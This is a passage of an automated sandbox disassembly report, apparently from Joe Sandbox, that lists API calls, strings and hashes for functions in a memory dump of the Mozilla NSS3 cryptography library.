Part of subcall function 6CBC6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CBC6983
Part of subcall function 6CBC6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CBC69AA
Part of subcall function 6CBC6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CBC69BE
Part of subcall function 6CBC6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CBC69D2
Part of subcall function 6CBC6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CBC69DF
Part of subcall function 6CBC6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CBC6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBC6D8C
free.MOZGLUE(00000000), ref: 6CBC6DC5
free.MOZGLUE(?), ref: 6CBC6DD6
free.MOZGLUE(?), ref: 6CBC6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBC6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6E72
free.MOZGLUE(?), ref: 6CBC6EA7
free.MOZGLUE(?), ref: 6CBC6EC4
free.MOZGLUE(?), ref: 6CBC6ED5
free.MOZGLUE(00000000), ref: 6CBC6EE3
free.MOZGLUE(?), ref: 6CBC6EF4
free.MOZGLUE(?), ref: 6CBC6F08
free.MOZGLUE(00000000), ref: 6CBC6F35
free.MOZGLUE(?), ref: 6CBC6F44
free.MOZGLUE(?), ref: 6CBC6F5B
free.MOZGLUE(00000000), ref: 6CBC6F65

Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBC781D,00000000,6CBBBE2C,?,6CBC6B1D,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C40
Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBC781D,?,6CBBBE2C,?), ref: 6CBC6C58
Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C6F
Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBC6C84
Part of subcall function 6CBC6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBC6C96
Part of subcall function 6CBC6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBC6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CBC6FF4

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 36d4b12ec1a14f9e82e08829c3baae47a185fc8b6ace09713de9ac81ee4024af
Instruction ID: 30eecfbdcf5f9c56df14df630a4bdbf315af71980b69e57eb8d861ef463c4617
Opcode Fuzzy Hash: 36d4b12ec1a14f9e82e08829c3baae47a185fc8b6ace09713de9ac81ee4024af
Instruction Fuzzy Hash: 73B14CB4F0129A9BDF00DBA5D844FAEBBB4EF09349F140025E815E7641EB31E955CBA3

Function 6CBC4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBC4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CBC4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4DB7

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

TlsGetValue.KERNEL32 ref: 6CBC4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CBC4DEC
PR_Unlock.NSS3(?), ref: 6CBC4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CBC4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CBC4E71
free.MOZGLUE(00000000), ref: 6CBC4E7A
PR_Unlock.NSS3(?), ref: 6CBC4EA2
TlsGetValue.KERNEL32 ref: 6CBC4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CBC4ED6
PR_Unlock.NSS3(?), ref: 6CBC4F01
free.MOZGLUE(00000000), ref: 6CBC4F2A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 09d19787b977aaaad14ea5c55f7f0a8f09ad5681c884427d8e52b603b8ca4814
Instruction ID: a353f8e8ac2f62624ea21d5470f581a453508bd329e31924ce3c84419dabd696
Opcode Fuzzy Hash: 09d19787b977aaaad14ea5c55f7f0a8f09ad5681c884427d8e52b603b8ca4814
Instruction Fuzzy Hash: 1BB10F75B002069FEB00EF68D844AAA77B4FF0A319F154124ED1597B11EB34EA65CFE2

Function 6CBCFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFB4

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFC6

Part of subcall function 6CC498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC49946
Part of subcall function 6CC498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB016B7,00000000), ref: 6CC4994E
Part of subcall function 6CC498D0: free.MOZGLUE(00000000), ref: 6CC4995E

PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFD6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFE6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFF6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0006
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0016
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0026
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0036
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0046
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0056
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0066
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0076
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0086
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0096
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00A6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00B6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00C6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00D6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00E6

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 07deddf46117fb59ee83b5e59180c6cbfe7ba85b48365fbe41f91594009d3841
Instruction ID: 2a528f13b2400a4ca22541ff14d2ec4f768678520a4d40fc88d2f01dbc8e899b
Opcode Fuzzy Hash: 07deddf46117fb59ee83b5e59180c6cbfe7ba85b48365fbe41f91594009d3841
Instruction Fuzzy Hash: 0C3108F1E0176A9E8BDADF29D2687493AB8B71F608B10D61AD10487F10EBB40149DFD6

Function 6CC16E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC16BF7), ref: 6CC16EB6

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CCBFC0A,6CC16BF7), ref: 6CC16ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC16EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC16EFC
PR_NewLock.NSS3 ref: 6CC16F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC16F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC16BF7), ref: 6CC16F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC16BF7), ref: 6CC16F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC16BF7), ref: 6CC16FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC16BF7), ref: 6CC16FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC16EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC16FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC16F4F
SSLKEYLOGFILE, xrefs: 6CC16EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC16FDB
SSLFORCELOCKS, xrefs: 6CC16F2B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 6fea9c856e48ea3644522b437ee1acea009b8fd9f2a7628bc6f9e2d2eb7f0a46
Instruction ID: c6f08a274fe235ae1602b6292eae10597ccd8b7ed0abecd0dee6f51572998750
Opcode Fuzzy Hash: 6fea9c856e48ea3644522b437ee1acea009b8fd9f2a7628bc6f9e2d2eb7f0a46
Instruction Fuzzy Hash: 8CA1E6B2A5DDD086E750463FCC0139836B2BB8B329F9843A5E831C6ED5FB75A540B391

Function 6CB95DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB95DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CB95E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CB95E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CB95E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CB95EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CB95ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CB95F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CB95F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CB95F89
free.MOZGLUE(?), ref: 6CB95FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB95FB6
free.MOZGLUE(00000000), ref: 6CB95FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB9600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB96079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB96084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB96094

Strings

, xrefs: 6CB95EEB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 02dd32303d3a61c7f1e674d0dccf95a7cfcb68aae7f44dad7f198e3e1205f4f1
Instruction ID: a83f24fd43fb346dae98507abeef409d301a9236ba1e396ebeaaf16c0a313bc3
Opcode Fuzzy Hash: 02dd32303d3a61c7f1e674d0dccf95a7cfcb68aae7f44dad7f198e3e1205f4f1
Instruction Fuzzy Hash: 9F81F7B1E442459BDF008F64DC84BAE77B5EF06329F144238E81AA7791E731E808CBD6

Function 6CB71FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CB72007
calloc.MOZGLUE(00000001,00000084), ref: 6CB72077
calloc.MOZGLUE(00000001,0000002C), ref: 6CB720DF
TlsSetValue.KERNEL32(00000000), ref: 6CB72188
PR_NewCondVar.NSS3 ref: 6CB721B7
calloc.MOZGLUE(00000001,00000084), ref: 6CB7221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB722C2
GetLastError.KERNEL32 ref: 6CB722CD
free.MOZGLUE(00000000), ref: 6CB722DD

Part of subcall function 6CB70F00: PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B
Part of subcall function 6CB70F00: PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 9b00f9441c04b8216b0707749a3972053d0a680e476d6e17f35d76c346f653fb
Instruction ID: 132b2d9905a86d974d69838fc6071a15efca06200db619507e115cf41218941a
Opcode Fuzzy Hash: 9b00f9441c04b8216b0707749a3972053d0a680e476d6e17f35d76c346f653fb
Instruction Fuzzy Hash: F4916C70A01742CFDB64DF38D84975B7BF4FB0A709F04452AE95AD6A80EB70A145CFA2

Function 6CC128C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

TlsGetValue.KERNEL32 ref: 6CC1290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CC1291E
TlsGetValue.KERNEL32 ref: 6CC12937
EnterCriticalSection.KERNEL32(00000001), ref: 6CC1294B
PR_EnterMonitor.NSS3(?), ref: 6CC12966
PR_EnterMonitor.NSS3(?), ref: 6CC129AC
PR_ExitMonitor.NSS3(?), ref: 6CC129D1
PR_EnterMonitor.NSS3(?), ref: 6CC129F0
PR_EnterMonitor.NSS3(?), ref: 6CC12A15
PR_EnterMonitor.NSS3(?), ref: 6CC12A37
PR_ExitMonitor.NSS3(?), ref: 6CC12A61
PR_ExitMonitor.NSS3(?), ref: 6CC12A78
PR_ExitMonitor.NSS3(?), ref: 6CC12A8F
PR_ExitMonitor.NSS3(?), ref: 6CC12AA6

Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC4945B
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49479
Part of subcall function 6CC49440: EnterCriticalSection.KERNEL32 ref: 6CC49495
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC494E4
Part of subcall function 6CC49440: TlsGetValue.KERNEL32 ref: 6CC49532
Part of subcall function 6CC49440: LeaveCriticalSection.KERNEL32 ref: 6CC4955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CC12AF9
free.MOZGLUE(?), ref: 6CC12B16
PR_Unlock.NSS3(?), ref: 6CC12B6D
PR_Unlock.NSS3(?), ref: 6CC12B80

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 4a23c3db03e40f2f3975e04a918bedc2f55d8d281b933129544cf0f0fc2853d3
Instruction ID: ca2d86b4537aa780923abb3c9519995ddbd3258ad156e9fff5893bd81cd84f88
Opcode Fuzzy Hash: 4a23c3db03e40f2f3975e04a918bedc2f55d8d281b933129544cf0f0fc2853d3
Instruction Fuzzy Hash: E081D6B5A047005BEB209F39EC55B97B7F9AF06309F048928D85AC7B11FB32E519CB91

Function 6CC99C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CC99C70
PR_NewLock.NSS3 ref: 6CC99C85

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_NewCondVar.NSS3(00000000), ref: 6CC99C96

Part of subcall function 6CB6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CB721BC), ref: 6CB6BB8C

PR_NewLock.NSS3 ref: 6CC99CA9

Part of subcall function 6CC498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC49946
Part of subcall function 6CC498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB016B7,00000000), ref: 6CC4994E
Part of subcall function 6CC498D0: free.MOZGLUE(00000000), ref: 6CC4995E

PR_NewLock.NSS3 ref: 6CC99CB9
PR_NewLock.NSS3 ref: 6CC99CC9
PR_NewCondVar.NSS3(00000000), ref: 6CC99CDA

Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB6BBEB
Part of subcall function 6CB6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CB6BBFB
Part of subcall function 6CB6BB80: GetLastError.KERNEL32 ref: 6CB6BC03
Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CB6BC19
Part of subcall function 6CB6BB80: free.MOZGLUE(00000000), ref: 6CB6BC22

PR_NewCondVar.NSS3(?), ref: 6CC99CF0
PR_NewPollableEvent.NSS3 ref: 6CC99D03

Part of subcall function 6CC8F3B0: PR_CallOnce.NSS3(6CCE14B0,6CC8F510), ref: 6CC8F3E6
Part of subcall function 6CC8F3B0: PR_CreateIOLayerStub.NSS3(6CCE006C), ref: 6CC8F402
Part of subcall function 6CC8F3B0: PR_Malloc.NSS3(00000004), ref: 6CC8F416
Part of subcall function 6CC8F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CC8F42D
Part of subcall function 6CC8F3B0: PR_SetSocketOption.NSS3(?), ref: 6CC8F455
Part of subcall function 6CC8F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CC8F473

Part of subcall function 6CC49890: TlsGetValue.KERNEL32(?,?,?,6CC497EB), ref: 6CC4989E

EnterCriticalSection.KERNEL32(?), ref: 6CC99D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CC99DAF
_PR_CreateThread.NSS3(00000000,6CC99EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC99D9F

Part of subcall function 6CB6B3C0: TlsGetValue.KERNEL32 ref: 6CB6B403
Part of subcall function 6CB6B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CB6B459

_PR_CreateThread.NSS3(00000000,6CC9A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC99DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CC99DFC
_PR_CreateThread.NSS3(00000000,6CC9A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC99E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CC99E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CC99E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC99E89

Memory Dump Source

